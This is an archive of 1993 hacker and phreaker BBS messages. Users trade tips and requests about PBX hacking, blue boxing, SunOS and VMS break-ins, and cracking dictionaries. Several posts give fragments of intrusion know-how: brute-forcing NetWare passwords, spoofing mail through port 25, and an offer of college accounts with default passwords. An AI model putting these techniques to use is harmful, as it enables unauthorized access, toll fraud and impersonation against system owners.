Hmm!!!
Thanks! ill tyr to find one of this book, i am sure i can one hehe
especially the place i go to get book is quite huge and have alot of book
about UNIX!!! hmm well myabe the unix security probably relating bugs
fixed! hmm but i look carefully and it seem they explain asll the
security systems how it works! they dont necessary tell you what to do to
bypass it it can tell you soem good tips!!! ill maybe buy both :-)(
They should have some UNIX machine at college, they are on VMS! and they
are not connected to any external things but i can get all the book i want
for that system i know the ops hehehe!
Intruder is outta here!!!
From Intruder@yabbs Sat Oct 30 11:12:44 1993
From: Intruder@yabbs
To: phragger@yabbs
Subject: re: ok!
Date: Sat Oct 30 11:12:44 1993
Ah!
yah that his a good ideas to get the manual online form unix and to
buffere it!!! hehe it will be long but very usefull!!! insted of going to
buy a book of around 50$ and more!!! Yah i alread look there when i look
for commands and how to do some thing! but soemthing that make me mad coz
on the system i am connected dont have all the stuff installed and
something it tell me Unknown command!!!
Intruder is outta here!!!
From rlion@yabbs Sat Oct 30 21:42:47 1993
From: rlion@yabbs
To: all@yabbs
Subject: it seems
Date: Sat Oct 30 21:42:47 1993
that all the boards near me (va/dc/md) are gone, at least all the good
ones. pentavia's down, solsbury hill is semi-down and reclamtion is
gone. it really kind of sucks.
rl
From bigK@yabbs Sat Oct 30 22:58:22 1993
From: bigK@yabbs
To: all@yabbs
Subject: New
Date: Sat Oct 30 22:58:22 1993
hello, I'm new to the nets.ahem...anyway I was wondering what good are
gophers??
To The Point I Say....
bigK
From =pc=@yabbs Sun Oct 31 00:06:04 1993
From: =pc=@yabbs
To: all@yabbs
Subject: H/P/C/A bbs in OZ
Date: Sun Oct 31 00:06:04 1993
hIya all,
is the distribution of H/P/C/A/ files legal?if so what are the conditions
and/or regulations/.
=PC= /keep on phreaking/
From rlion@yabbs Sun Oct 31 00:31:11 1993
From: rlion@yabbs
To: all@yabbs
Subject: re: New
Date: Sun Oct 31 00:31:11 1993
gophers make it possible to have access to a lot of information
and sometimes other sites on the net annoymously and free.
nlah
rl
From rlion@yabbs Sun Oct 31 00:32:37 1993
From: rlion@yabbs
To: =pc=@yabbs
Subject: re: H/P/C/A bbs in OZ
Date: Sun Oct 31 00:32:37 1993
check the 1st ammendemnt. of course they are legal. there are no
regulations about the spread of information. of coure, i wouldn't
hand it to a FED and say, "hear read this"? and i'd put at the top
this is for your information and i don't mean it to be anyway
illegal, just to be safe, but technically speeking, those kinds of
'files' belong under 'freedom of the press'
rk
rl
From Screamin@yabbs Sun Oct 31 00:33:10 1993
From: Screamin@yabbs
To: cosmos@yabbs
Subject: re: <no title>
Date: Sun Oct 31 00:33:10 1993
I just need the 800 to test a local dialout on some uni...
I'm connected through a couple of unis so ANI isn't much of a threat..
From pyro@yabbs Mon Nov 1 13:16:11 1993
From: pyro@yabbs
To: all@yabbs
Subject: Stuff...
Date: Mon Nov 1 13:16:11 1993
To the person i was chatting with the other nite about picking up some
stuff via FTP: Sorry, I got so busy I forgot to get it on to the site.
If yo. If you still have the info for logging on please try again. I
will leave the stuff on there for awhile.
And no, everyone, its not illegal. So there...
Why do people insist on posting stupid thing like that last post? Don't
they realize this is apublic BBS and no one gives a damn about giving them
damn codes or shit like that? Oh well. What is this world coming to.
-Pyro
-Oldtimers, Inc.
From moth@yabbs Tue Nov 2 05:21:10 1993
From: moth@yabbs
To: greywolf@yabbs
Subject: Call overseas
Date: Tue Nov 2 05:21:10 1993
I dont know what GOD is but I have got a suggestion fo International
calls. I know blue boxing is very much dead but maybe you will get lucky
on international line.
You can always call a toll-free number in the US connecting you to a
operator in a foreign country like Japan or Singapore. From there you
might have some luck with a blue box.
By the way what is GOD ?
Cheers
Moth.
From binkley@yabbs Tue Nov 2 11:17:04 1993
From: binkley@yabbs
To: cosmos@yabbs
Subject: all
Date: Tue Nov 2 11:17:04 1993
pacx.utcs.utoronto.ca
th16-461- 1-6702/9101/5114 are no good, I dialed to 2 of them, and got
timeouts, and I coneee
that's connected to 1 and it said 9600 or higher only...
From swami@yabbs Tue Nov 2 17:38:10 1993
From: swami@yabbs
To: all@yabbs
Subject: PBX hacking
Date: Tue Nov 2 17:38:10 1993
I need a decent PBX hacker. I tried to get code thief to do what I
want, but it's not really designed to hack PBXs. Don't want to
reinvent the wheel,, someone point me in the right direction?
swami
From xenon@yabbs Tue Nov 2 19:03:48 1993
From: xenon@yabbs
To: moth@yabbs
Subject: re: Call overseas
Date: Tue Nov 2 19:03:48 1993
GOD stands fer Global OutDial...
try blue boxing from home...its fun!
From jasonlee@yabbs Tue Nov 2 19:07:15 1993
From: jasonlee@yabbs
To: swami@yabbs
Subject: re: PBX hacking
Date: Tue Nov 2 19:07:15 1993
Hmmmm...I don't have a PBX hacker, but you just reminded me of how much
fun our PBX at school is. Most of our LD phone calls were made on the
school's bill. Luckily, I was somehow more secret than my friends, cuz
they all got caught for doing it, but not me. Well, they bugged me about
one call, one which I didn't actually make! So, I just told them I knew
nothing, and got off clean....hm, wow that was a waste of typing...
JasonLee
From wonko@yabbs Tue Nov 2 20:52:57 1993
From: wonko@yabbs
To: all@yabbs
Subject: SunOS UNIX
Date: Tue Nov 2 20:52:57 1993
anyone know any backdoors/default logins/etc.
for SunOS UNIX (version unknown)
thanks,
-wonko
From *@yabbs Tue Nov 2 21:53:22 1993
From: *@yabbs
To: all@yabbs
Subject: VMS
Date: Tue Nov 2 21:53:22 1993
Hi all I'm fairly new at this but say hypothetically of course that the
local u had a vax running vms 5.5-2. Now again hypothetically I wanted to
get into it but I only knew one back door that will get me into a very
limited account....now say I wanted to get a really nice account on htis
system i.e. full user privs...can anybody help me get started on how to
deal with this purely hypothetical situation???
From DrClaw@yabbs Tue Nov 2 23:57:55 1993
From: DrClaw@yabbs
To: all@yabbs
Subject: password file
Date: Tue Nov 2 23:57:55 1993
anyone know what the name fof netwares password file is?
I really need to know... this...
thanks
Dr_claw
From cosmos@yabbs Wed Nov 3 05:28:45 1993
From: cosmos@yabbs
To: swami@yabbs
Subject: re: PBX hacking
Date: Wed Nov 3 05:28:45 1993
Cosmos
From phragger@yabbs Wed Nov 3 12:39:18 1993
From: phragger@yabbs
To: moth@yabbs
Subject: re: Call overseas
Date: Wed Nov 3 12:39:18 1993
Try Honolulu, might give you a lousy connection, but it oughta work.
GOD = Global Out Dial
From johndeer@yabbs Wed Nov 3 19:52:57 1993
From: johndeer@yabbs
To: all@yabbs
Subject: re: Call overseas
Date: Wed Nov 3 19:52:57 1993
rlion:
so what do you call then in dc/md/va?
intruder:
allez-vous un bibliotheque.
jasonlee:
so the site you're on logs the telnets to port 25?
dr. claw:
it's stored in Netware's bindery. it's encrypted. use novell's VERIFY
PASSWORD command to query the bindery, it can be brute-forced this way.
john Deere
[sorry abouyt all the spaces, my upload skrewed up]
From mindstrm@yabbs Wed Nov 3 20:22:58 1993
From: mindstrm@yabbs
To: all@yabbs
Subject: re: SunOS UNIX
Date: Wed Nov 3 20:22:58 1993
You know... It really surprises me to think that people will come right
out and ask for stuff like this (read: security holes...). If you don't
konw any, well, I just don't think a public posting is a good idea.
People who DO know about such things tend NOT to reply to public
anonymous postings...
It's my imprtession that this is NOT an Elite Hacker board... which is
the only place you'll find this kind of stuff...
Then, of course, I could just be drunk and rambling ...
+The Glory Days Are Over+
-mindstrm
From jasonlee@yabbs Wed Nov 3 21:33:14 1993
From: jasonlee@yabbs
To: johndeer@yabbs
Subject: re: Call overseas
Date: Wed Nov 3 21:33:14 1993
Don't most places log every telnet? Actually, I've sent mail (fake) that
way, causing some problems, but they didn't figure out who it was. I
guess their tracing abilities aren't too good. It's still better to just
do it from some anon source. I guess this was what you were asking.
JasonLee
From xenon@yabbs Wed Nov 3 21:43:35 1993
From: xenon@yabbs
To: jasonlee@yabbs
Subject: re: Call overseas
Date: Wed Nov 3 21:43:35 1993
yer talkin bout port 25? thats NOT a secure way to send fake mail...take
jl's advice and use an anon service...only REAL secure way, tho, is not to
use yer own account, but...
--> Xenon
From cosmos@yabbs Thu Nov 4 06:36:05 1993
From: cosmos@yabbs
To: mindstrm@yabbs
Subject: re: SunOS UNIX
Date: Thu Nov 4 06:36:05 1993
Good point. Yes, the good days are over. However, I try to stay away
from the elite fuckers as well. Nothing but attitude and pompous little
teenagers.
The real hard core stuff is passed in small circles.
Cosmos
From cosmos@yabbs Thu Nov 4 06:38:08 1993
From: cosmos@yabbs
To: jasonlee@yabbs
Subject: re: Call overseas
Date: Thu Nov 4 06:38:08 1993
Yeah, port 25 is the sendmail port. However, any decent sysadmin can
trace you through the headers. A nice thing to do is to telnet into a VM
system via port 25 and issue a fake domain during HELO. VM takes anything
you give it...most modern UNIX sendmails will grab your address anyway and
stick it in the header...
Cosmos
From carsenio@yabbs Thu Nov 4 16:56:58 1993
From: carsenio@yabbs
To: johndeer@yabbs
Subject: re: Call overseas
Date: Thu Nov 4 16:56:58 1993
quick correction john..
pardon my perfectionism, but it's:
"allez-vous a une bibliotheque" not "allez-vous un bibliotheque"
call me petty. =-)
luego...
-carsenio
From Beetle@yabbs Thu Nov 4 20:18:34 1993
From: Beetle@yabbs
To: vapor@yabbs
Subject: re: 40hex
Date: Thu Nov 4 20:18:34 1993
You asked about 40-hex, and others have been wanting scanners.... If you
don't mind calling out (The system doesn't have an Internet connection)
you can get all of the above from CoI at 818-447-2667... large collection
of H/P Utils, Viruses, and Info...
From binkley@yabbs Fri Nov 5 01:59:33 1993
From: binkley@yabbs
To: all@yabbs
Subject: accounts
Date: Fri Nov 5 01:59:33 1993
I have some accounts people can use for un-traceable usage. There is a
system I'm on, a college system, but the security is AAWFUL! so, about 1/2
half of the accounts on there have never been touched, they were set up
for people who never used it, and the passwords come default, the same as
the login....!!! E-mail me here, or at ia30037@maine.maine.edu Don't mail
me at bernard@access.caps.maine.edu cause that's the system, and I don't
want any info about it on it under my name....
Binkley
From moth@yabbs Fri Nov 5 04:01:12 1993
From: moth@yabbs
To: xenon@yabbs
Subject: re: Call overseas
Date: Fri Nov 5 04:01:12 1993
Could you please explain a bit more ?
I would also like some infos on PABX and PBX systems
I'm not from the USA but Africa.
Regards
moth
From horus@yabbs Fri Nov 5 06:03:14 1993
From: horus@yabbs
To: Beetle@yabbs
Subject: re: 818-447-2667
Date: Fri Nov 5 06:03:14 1993
I tried the BBS you mentioned, but I don't have the system password.
Anyway you can give it to me? I'm starting a war dial on pbx's and would
apprectiate any pbx crackers that are out there.
Thanks
Horus Min /\o/\
From jasonlee@yabbs Fri Nov 5 06:15:49 1993
From: jasonlee@yabbs
To: carsenio@yabbs
Subject: french stuff
Date: Fri Nov 5 06:15:49 1993
Ou peut-etre: va-t'en a la bibliotheque!
C'est tout, j'espere.
JasonLee
From jasonlee@yabbs Fri Nov 5 06:18:53 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: Complaining about C
Date: Fri Nov 5 06:18:53 1993
Well, I don't really like Natural Language Understanding. This assignment
is just basically annoying, and its 5:19 AM, and I odn't feel like
finishing. I'm not even too far from being done, but I'm tired, and I
have to get up later this morning.
gr.
JasonLee
From moth@yabbs Fri Nov 5 09:11:42 1993
From: moth@yabbs
To: all@yabbs
Subject: re: Member Wanted!
Date: Fri Nov 5 09:11:42 1993
where does one signe up ?
Got an Amiga 1200. Wanna get a 14.4k soon (if money permits).
Live abroad.
Cherio
From pyro@yabbs Fri Nov 5 10:33:55 1993
From: pyro@yabbs
To: binkley@yabbs
Subject: re: accounts
Date: Fri Nov 5 10:33:55 1993
Spare us the tirade on your giving out accounts. Do you realize how
stupid it is for you to post such nonsense? Not only are you opening
yourself up to a very large audience that you have illicit accounts, you
might just be putting this BBS in jeopardy.
Why don't you just come out and say: "Hey everyone, I have k00l accounts
that are illegal but if you want them mail me and I will give them
out..!!1!!11!!1!!!"
I am not sitting on some high horse looking down at the hacking world, I
am just looking down and the completey idiocy some people display. You
should value such resources as this BBS and htoaster's time in writing it
and supporting it, not abuse it with worthless garbage. Run yoour own
damn BBS sometime that is this open and free and advertise that you give
out free accounts on somone else's system and see how long it stays up.
The bottom line? Think you moron.
-The Pyro
From Beetle@yabbs Fri Nov 5 12:06:09 1993
From: Beetle@yabbs
To: horus@yabbs
Subject: re: 818-447-2667
Date: Fri Nov 5 12:06:09 1993
The System Password is "TYBO CHEESE" for all it's worth, though... You
still need an account there... just press APPLY and tell the sysop you got
the number offa here, and you'll be taken care of...
From Prism@yabbs Fri Nov 5 15:08:20 1993
From: Prism@yabbs
To: Screamin@yabbs
Subject: re: <no title>
Date: Fri Nov 5 15:08:20 1993
What is ANI?
From cosmos@yabbs Fri Nov 5 16:21:37 1993
From: cosmos@yabbs
To: pyro@yabbs
Subject: re: accounts
Date: Fri Nov 5 16:21:37 1993
Good Shot I say!! Very well put chap!
Cosmos
From cosmos@yabbs Fri Nov 5 16:22:34 1993
From: cosmos@yabbs
To: Prism@yabbs
Subject: re: <no title>
Date: Fri Nov 5 16:22:34 1993
ANI....Automatic Number Identification. Caller ID in layman terms.
Cosmos
From gurujam@yabbs Fri Nov 5 16:52:39 1993
From: gurujam@yabbs
To: pyro@yabbs
Subject: re: accounts
Date: Fri Nov 5 16:52:39 1993
dear pyro:
if these accounts are so dangerous, why do they let us have them?
Also, it seens that many of us do not access to all the groups that are on
this board. It is that you would prefer to have this information release d
to
a smaller audience, or just to save one's ass when the person get caught
and points here?
usage of these accounts is dangerous and it is possibly illegal that much
of the information and pictures and lyrics we use from day to day on the
internet. What we must decide is that having at most 30 people have access
to the accounts, or just let them hack at these systems and take up
bandwidth and cause others to lose their right to the site.
I really don't care...but information is never free. in this world of
hacking, any info is better than none.
gurujam
From griton@yabbs Fri Nov 5 19:37:50 1993
From: griton@yabbs
To: htoaster@yabbs
Subject: Yo! :)
Date: Fri Nov 5 19:37:50 1993
Yo sysop..
I'm here...
well, i entry qby x25 gateway.. i'm from Argentina
South America..
it's a c00l board..
one ask.. exist elite area??? :)
see ya
El Griton/WL
{/s
From griton@yabbs Fri Nov 5 19:39:23 1993
From: griton@yabbs
To: all@yabbs
Subject: Virtual Machine
Date: Fri Nov 5 19:39:23 1993
Hey guys!
i hack a ystem with vm so
any know how i can use the pad option?
or to connct to another sites, with bitnet...
which comands?
tnxs.
see ya
El Griton
From cosmos@yabbs Fri Nov 5 20:06:19 1993
From: cosmos@yabbs
To: gurujam@yabbs
Subject: re: accounts
Date: Fri Nov 5 20:06:19 1993
Thank you for your post. Too bad it made no fucking sense at all. You
are of the Intruder class of user, that much is evident. Pyro is 100%
justified in his post and his post was crystal clear both in logic and in
it's writing.
Information should always be as free as possible, but k00l accounts are
not (or should not be) considered such. That is the kind of stuff that
will bring this board down and get the site in a shitload of trouble.
Besides, handing out accounts is not hacking. If you want philanthropy
check out your local k-RaD 3lit3 H/P board.
Cosmos
From xenon@yabbs Fri Nov 5 20:34:21 1993
From: xenon@yabbs
To: moth@yabbs
Subject: re: Call overseas
Date: Fri Nov 5 20:34:21 1993
basically, a GOD allows you to call anywhere in the world...in the barest
sense, a session would be: call the GOD number and itll give ya a
dialtone. from there, you can call anywhere...HOWEVER, its not that easy
in practice...
whatcha wanna know bout PBXs? jus what they are?
--> Xenon
From xenon@yabbs Fri Nov 5 21:21:04 1993
From: xenon@yabbs
To: cosmos@yabbs
Subject: re: accounts
Date: Fri Nov 5 21:21:04 1993
what has happened to the world? why do people keep posting such BS?
there is a generation of people growing up who, beacuse of the portrayal
of a "hacker" by the media, aspire to do nothing more than break into
systems for their own gratification and, more importantly, gain the
respect of their misguided peers by passing on the reports of their /<ewl,
3l33t activities...gurujam's posts clearly reflect this sad mentality and
it scares me that the numbers of these "hackers" are growing expotently
every day.
im sure members of various governmental groups are more than happy to see
people like this running rampart throughout the electronic community for
it allowes them to fed this information directly to the media which does
its job by printing horror stories to the world, full of technical errors
which the media is so good at doing, so that every citizen lives in fear
of thoe "crazy cyberpunk-kids." this way, public support shifts to those
"great men in uniform" who save their family from a world of "evil
hacker-types." yes, im sure members of such agencies, like the grand ol
secret service, love being able to trample all over citizens
constitutional rights in the name of justice...
why would this bbs be in possible jepordy because of gurujam's sayings
here? well, logically, it wouldnt at all! just because i tell someone of
a security holedoesnt make me a criminal, but add the word computer in
there, and to the eyes of the close-minded public, it not only turns me
into a criminal, but a extremly dangerous felon who deserves to be burned
at the stake as soon as possible.
EDUCATION people! guruham, it looks af if you have a legitimate internet
account or two...USE THEM to LEARN! grab the text files...any file you
can and READ! see what a hacker really is. dont be swept into the
romantic image of a hacker and become just another statistic on sum
governmental chart! yes, maybe the system sucks big time, but turn yer
rebellion into something that will have a MUCH bigger impact on society.
I can relate since i have a past which i am ashamed of, but i somehow
survived and LEARNED from it. i learned that the gratification and
respect i gained from my peers right THEN is no match to the exilleration
i will feel when i, along with a powerful underground, can CHANGE the
system!
i am but i am but one person, who at this point knows very little. what
can i do? learn humility and make valuable allys and feed from their
brain...figure out whats wrong with the system. when the time comes, if
the underground is able to survive this injustice, and i hope to god it
will, the results will be as potent as any orgasm...
anywayz, off the soapbok...
--> Xenon
From Keman@yabbs Fri Nov 5 22:52:19 1993
From: Keman@yabbs
To: all@yabbs
Subject: hacking in general
Date: Fri Nov 5 22:52:19 1993
ok here's the deal I know nothing of the nets....this is where I'm trying
to learn I've kept my mouth shut and ears open but I havent seen one
person post anything that would help me except for numbers that are out of
state and text files and read read read....the last I have no problem with
since I do it anyway... but it would help if I could find somone who know
what the hell they're talking about and post it....sorry to be this way
but I'm tired of people that have know ide )G<{of what hacking is posting
lame messages.....so if you know something useful ..Cosmos...Pyro...post
it because I haven't seen you post anything but criticism...sorry this is
not a personal thing just an observation from somone new...
Sincerely,
Keman
From pyro@yabbs Sat Nov 6 03:08:43 1993
From: pyro@yabbs
To: all@yabbs
Subject: The World...
Date: Sat Nov 6 03:08:43 1993
Let me just make a few opoints clear. I have been a member of the hack
community for about 10 years now. I look back on such systems as Metal
Shop Private, Speed Demon Elite, Atlantis, Safehouse, etc, etc, etc...
with mucu nostalgia. But times have changed, and people have to realize
that. There will never be anything like the old days. They are gone.
Thats like saying you can bring back the 60's in todays world. It cannot
be done. We are in a world where 100 times more people use computers and
an electronic medium to communicate than in days past. because of this
explosion in use steps must be taken to protect the few sites remaining to
the masses at absotely no charge.
Offering to give out hacked accounts to any schmo who would simply ask for
them is ludicrous. It is a very good way to get one of these few precisou
open forums that exist free of charge, namely this one, removed for good.
Common sense is a trait that was alive back then, but seems to be dying
these days. We did not simply log on to a public BBS back in the early
80's and say "Hey d00ds, I got accounts, mail me for some" and we should
not start doing that today.
This BBS could be used as a learning place for those who would like to
understand the hack community, but its public nature will always prevent
it from being a place to learn serious hacking information. The levels of
intelligence are too far spread out. Only private, limited access systems
will promote the distribution of illicit facts and figures.
The bottom line is very simple, but I will repeat it again. This BBS is a
great place to learn about the hack community, but do not be fooled in to
thinking it is a forum for learning how to hack. You want to learn the
how part of it all? I have one sure fre answer to help you out: START RE
READING.
I run a totally open and public BBS such as this, and I have a philosophy
that I am sorry to say is coming true: SPOON FEEDING.
If you truly aspire to learn anything and to retain and build upon such
knowledge you must take the initiative and learn it your self, you cannot
expect people to spoon feed you everything you need to know.
Xenon: I think you need to spot thinking of it all as some political
crusade against the, as the kiddies here in 612 put it, Evil Pig Empire.
And everyone must realize that there will be no revival, there will be no
return to the old days. They are gone. You cannot simply compare today
with the past. The situations are totally different.
I just like Phred, and I would love to see it stay up and grow. Htoaster
has put too much time in to it to have it degenerate in to some spoon feed
session on hacking... Read back a few hundred messages, he said this.
I must also say there is nothing wrong with serious discussion on software
design or problems. This type of discourse enlightens those intelligent
enough to follow it. Anyway, this is a long post. And I am sure some
people will whole heartedly disagree with me. Fine, it is your right to
do so. Just do it intelligently.
-The Pyro
From xenon@yabbs Sat Nov 6 13:48:31 1993
From: xenon@yabbs
To: pyro@yabbs
Subject: re: The World...
Date: Sat Nov 6 13:48:31 1993
ok, pyro. im not tryin to get back the old dayz. i guess my posts sort
convey the idea that im lookin back and sayin, "why cant it be like it
wuz." i know times change and that change is necessary. since we live in
an explosive time, meaning technology is changing at such a fast rate, i
see the current change as a chaotic mess. now, if ya wanna get into a
discussion of the values of chaos and anarchy, go ahead. im not sayin its
good or bad right now. i dunno. what i am tryin to say, though, is that
people need to understand their roots. history has a way of repeating
itself since people dont look at the pst and learn from others mistakes.
ive never been one for history...i alwayz blew it off as unimportant, but
now, i am startin to realize that history is VERY important and i guess
that my main concern and why i keep talkin bout the old dayz...not to
bring em back, but so people will read about the past and mebbe gain an
understanding, or more so, learn from the past and apply that knowledge to
work towards the future.
everyone has their own personal goals they are workin towardz. this is
good. this is diversity that is needed. even people striving towards the
same sort of goal have different perspectives of what theyre workin
to achieve. im not lookin fer a world full of cookie-cutter people all
holding the same ideas. add yer own flavoring to the soup and make it
better for yerself.
WaReZ d00dz, cardersc0de headz, whatever, they all have their place. im
not passing judgement on anyone...i feel that if ya start to pass
judgement and catagorize people, yer closin yer mind to the ideals of
others. that is why i ran a totally anon, free to all bbs (and will again
when i get a new HD). i wanted to provide a relaxed atmosphere where
people could post their ideals and read the ideals of others.
well, this is sorta a hodge-podge post...forgive me...jus whaen i talk
bout the "good ol dayz" im tryin to awaken people to the past so they
might get interested and read and learn from it. im not sayin what a
hacker SHOULD be...thats different from person to person. im jus sayin
that there are a lot of definations out there and mebbe someones ideas
might awaken somethin in you and add more flavor to yer life and ideals.
well, before i ramble on more...l9er
--> Xenon
From binkley@yabbs Sat Nov 6 16:53:34 1993
From: binkley@yabbs
To: pyro@yabbs
Subject: re: The World...
Date: Sat Nov 6 16:53:34 1993
Well, one way to learn is by experiance. if you give people a place to go,
and use an account to play around with. they can telnet to sites, and play
around without worring about having their account closed because of
suspicious activity.
You are right, read, and learn as much as you can, but learning is
best inforced by uusing what you know...
OQ
Binkley
From cosmos@yabbs Sat Nov 6 16:59:55 1993
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: The World...
Date: Sat Nov 6 16:59:55 1993
Wrong. That is no justification for handing out accounts on phred.
Cosmos
From xenon@yabbs Sat Nov 6 17:01:23 1993
From: xenon@yabbs
To: binkley@yabbs
Subject: re: The World...
Date: Sat Nov 6 17:01:23 1993
i have no problem with sumone giving out an account so sumone can learn
from it...jus tell em to use the account wisely and theyll probably to be
able to keep it for a while...
--> Xenon
From xenon@yabbs Sat Nov 6 17:09:34 1993
From: xenon@yabbs
To: xenon@yabbs
Subject: re: The World...
Date: Sat Nov 6 17:09:34 1993
oh, i ment passing out accounts in a private place...not on a public bbs
like this one...definately not /<ewl...
From swami@yabbs Sat Nov 6 18:46:27 1993
From: swami@yabbs
To: all@yabbs
Subject: re: The World...
Date: Sat Nov 6 18:46:27 1993
Hey, Cosmos, Xenon, Pyro....
Why are ya'll bothering? Unfortunately you're wasting your breath on
most people. I realize that phred is a great system and needs to be
kept up, but half of the messages here are the same shit. Maybe you
need to make a FAQ? <g>.
swami
From binkley@yabbs Sun Nov 7 11:17:20 1993
From: binkley@yabbs
To: xenon@yabbs
Subject: re: The World...
Date: Sun Nov 7 11:17:20 1993
There isn't a way to get in trouble on there, unless they're dumb enough
to mail Admin telling them to f*&k off or omething like that. it's not a
unix, and there isn't anything that can be destroyed. it's just a place to
telnet from, if you don't want to be logged as you...
OQ
From pyro@yabbs Sun Nov 7 13:26:46 1993
From: pyro@yabbs
To: all@yabbs
Subject: Look...
Date: Sun Nov 7 13:26:46 1993
I am just saying people need to be more aware of their actions.
Advertising the fact that you will give out illegal accounts if you mail
me (wait, thats confusing...). Anyway, you get the point. You never know
who is just waiting for a reason to get people in trouble.
You cannot sit there and offerto give out accoutns to a system you do not
own on a public BBS. Simple.
From Graf@yabbs Sun Nov 7 15:29:03 1993
From: Graf@yabbs
To: all@yabbs
Subject: Tempest
Date: Sun Nov 7 15:29:03 1993
Does anyone know where I can get any info about Tempest, also known as a
Van Eck detector, which is a device that allowes you to monitor the
electromagnetic emissions from computers and other electronic devices. I
fournd the one file on EFF, are there more? Thanks.
From maestro@yabbs Sun Nov 7 16:54:41 1993
From: maestro@yabbs
To: all@yabbs
Subject: The Shits
Date: Sun Nov 7 16:54:41 1993
This Is Definitely The Shits, I Completely forgot about this system until
today, which i havent logged on for a while, and I read some of the
messages, and i see peopl trying to be elite, and think they can hack and
phreak, sure anyone can hack/phreak if they try, but all these people are
just leaching and not even Hacking or PHREAKING. Wow! I just figured out
how to dialout! I'm a Hacker!
Probably the problem is, that this can be accessed by ANYONE, You see In
My Area Code, It is probably the most shittiest, There are maybe 5 people
in my area code that have Unix Accounts and would be able to access things
because they would fuck things up royally, Makling my point, If someone
gets a freenet installed in their town, that means more idiots get access
and try to fuck things up for us
i was reading about sites here, and whoever was giving them out was a bad
idea, If a Law Enforcement Agency Got A Hold of What You just said and if
you posted one, this entire system would go down, now wouldn't you feel
bad? Probably not, You Would Probably Pat Yourself on the Back, For TAKING
down a good BBS For the Public, and think to yourself 'Oh Boy, At least I
never got Busted'.
Anyone asking how to hack and phreak, I suggest You find out for yourself,
I found everything I needed to Know By Learning the ropes of the system,
sure, when i came into the modemmings scene in 1986, I was a WaReZ R0DenT,
thinking I was Awesome. I then went on to Think I was COOL and accepted
because I was in groups and etc, until finally i realized, they are
stupid, and to find out more information you learn to go solo, and find
out things for yourself, not by asking people for Accounts, password
files, and other lame shit.
Basically my point is, Learn Yourself And Dont Be a Leech.
Oh yeah. P.S. - Cut the K-RAD elYte WarezWorDz NiFTy shit. Read A
Dictionary.
Maestro
From cosmos@yabbs Sun Nov 7 16:59:29 1993
From: cosmos@yabbs
To: maestro@yabbs
Subject: re: The Shits
Date: Sun Nov 7 16:59:29 1993
heh
86?? Interesting. I started my warez crap in 83 and ventured into the
net scene during late 1985...I even remember getting my first text file
from a guy on a local CHicago board...I really do thank Craig Nierdorf for
the good times.
Good points...I doubt they will listen.
Cosmos
From Alvin@yabbs Sun Nov 7 17:02:07 1993
From: Alvin@yabbs
To: comrade@yabbs
Subject: re: AWA
Date: Sun Nov 7 17:02:07 1993
you loser.
you suck.
From cosmos@yabbs Sun Nov 7 19:37:27 1993
From: cosmos@yabbs
To: Alvin@yabbs
Subject: re: AWA
Date: Sun Nov 7 19:37:27 1993
Okay, I read the AWA post. I agree, warez is a pathetic phenomena but
also feel the society(AWA) and documents dedicated to bashing it is
childish and accomplishes nothing.
However, if you want to flame him for the post, please take it to private
e-mail, as I and others do not wish to read a private "you lamer" type war
on the public boards.
Cosmos
From graph-x@yabbs Mon Nov 8 01:14:58 1993
From: graph-x@yabbs
To: Keman@yabbs
Subject: re: hacking in general
Date: Mon Nov 8 01:14:58 1993
Could you by any chance be Keman-R-HOT-4?
From horus@yabbs Mon Nov 8 18:01:12 1993
From: horus@yabbs
To: all@yabbs
Subject: sleepy usu.edu
Date: Mon Nov 8 18:01:12 1993
I knew it! you guys can't be trusted. Well the sleepy guest account is no
more!
If I ever see another post for a machine that I have an interest in, I'm g
oing to ask toastie to delete it. :(
From m-intent@yabbs Mon Nov 8 18:17:04 1993
From: m-intent@yabbs
To: all@yabbs
Subject: Therion's PW Utility.
Date: Mon Nov 8 18:17:04 1993
I heard a rumor from someon on IRC that a UNIX utility exists
called "Therion's PW Utility." I guess that it's from denmark. I have
never seen any of it around, and I would like to taker a look at it
sometime... Any of you have it?
And, also : a good batch of dictionaries exists on ftp.uu.net in the
doc/dictionaries directory.. Those of you into UNIX security may want to
check those out.
Also, what other FTP sites are any oggd these days? dictionaries, etc..
drop me a line..
-Malicious Intent
m-intent@prop.mn.org
From schief@yabbs Mon Nov 8 18:26:05 1993
From: schief@yabbs
To: horus@yabbs
Subject: re: sleepy usu.edu
Date: Mon Nov 8 18:26:05 1993
no, it's still there, just some smartass decided "gee, i think i'll change
the password so only i can get in", because someone logged in yesterday
afternoon and this morning too...
From Cratar@yabbs Mon Nov 8 18:40:58 1993
From: Cratar@yabbs
To: horus@yabbs
Subject: re: sleepy usu.edu
Date: Mon Nov 8 18:40:58 1993
what happened to that.... i was going to logon for the fun of it,
but it wouldnt let me..... i thought it was nifty to be able to l
loggon to another vax. I was actually going to try to telnet to phred
from there.... oh well......
Mity Cratar
(After 1 year i finally post!!!! )
From johndeer@yabbs Mon Nov 8 21:01:38 1993
From: johndeer@yabbs
To: all@yabbs
Subject: stuff
Date: Mon Nov 8 21:01:38 1993
graf:
you have your terms slightly off.. to TEMPEST a machine is to PREVENT its
RF emisisons from being picked up by a Van Eck...
m-intenet:
Therion's Password utility is basicaly a dictionary manipulator.. it
sorts, convert case, etc. it's probbaly better than the ones provided
with KC or crackerjack. and it can handle very large dictionaries by using
man swap files, etc.. check out black.ox.ac.iuk (ftp) form some more
dictionaries.
jasonlee and the other guy talking aout telnet 25:
pardon myh ignorance.. but is it really efficient for sysadmins to log all
outoing telnets? on large systems with many users, i'd image the log
would be huge in just one day... also, th HELO is passed inthe mail as
well? i thought you'd just get the RCPT TO: and the from..
john Deere
From jasonlee@yabbs Mon Nov 8 23:25:58 1993
From: jasonlee@yabbs
To: johndeer@yabbs
Subject: re: stuff
Date: Mon Nov 8 23:25:58 1993
Well, about port 25, the sysadmins here are rather touchy about the
security of the system, so the watch people pretty well. Actually, about
half the time I send mail to that system via port 25, it doesn't ever get
through! I'm pretty positive I'm doing everything right, so I don't know
what's causing it other than sysadmin activity? Strange system?
Something else?
JasonLee
From horus@yabbs Mon Nov 8 23:27:45 1993
From: horus@yabbs
To: johndeer@yabbs
Subject: tempest
Date: Mon Nov 8 23:27:45 1993
TEMPEST also comes in a wallpaper. Caps,coils, and all.
From xela@yabbs Tue Nov 9 02:58:41 1993
From: xela@yabbs
To: cosmos@yabbs
Subject: toronto dial-out
Date: Tue Nov 9 02:58:41 1993
Without trying to sound like a newbie, I have seen the telnet address for
a dialout in Toronto and mention of an anonymous dial-out from JHU. Is
this Johns hopkins university? I go there and have not heard of any
